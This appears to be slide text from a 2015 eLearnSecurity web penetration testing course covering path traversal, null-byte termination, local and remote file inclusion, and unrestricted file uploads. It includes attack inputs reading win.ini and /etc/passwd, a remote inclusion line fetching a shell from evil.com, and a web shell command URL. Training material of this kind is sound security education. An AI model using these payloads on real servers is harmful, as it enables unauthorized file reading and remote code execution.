File and Resource Attacks
File and Resource Attacks
http://www.elsfoo.com/getFile?path=FileA418fS5fds.pdf
http://www.elsfoo.com/getFile?path=../../../windows/win.ini
http://www.elsfoo.com/getFile?path=../../../boot.ini
*NIX Windows
Slash / <Driver letter> : \ C:\
*NIX Windows
Slash / Slash /
Backslash \
%00
Note that %00 does not work with PHP versions >= 5.3.4.
Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
This can be useful to terminate the string in case something
else is appended to it by the web application. An example in
pseudo code:
file_read ("/htdocs/website/reports/" user_input + ".pdf");
The %00 would allow the user to terminate the string and
read any other file extensions:
../../etc/passwd%00
index.php?location=../../../etc/passwd
vuln.php?page=http://evil.com/shell.txt
<?php
phpinfo();
?>
vuln.php?page=http://www.google.com
http://fileupload.site/images/myshell.php?command=<COMMAND>
The file name and path of the uploaded file is known to the attacker or
guessable
The folder in which the file is placed allows the execution of server-side scripts
So, the application fails to check both the extension of the file
and its content.
Due to this weak configuration, an attacker can upload any
shell or type of file, compromise the system and obtain
complete control of the web server.
ACTUAL CONTENT
creating a filter:
What privileges will this file
have/need on my server?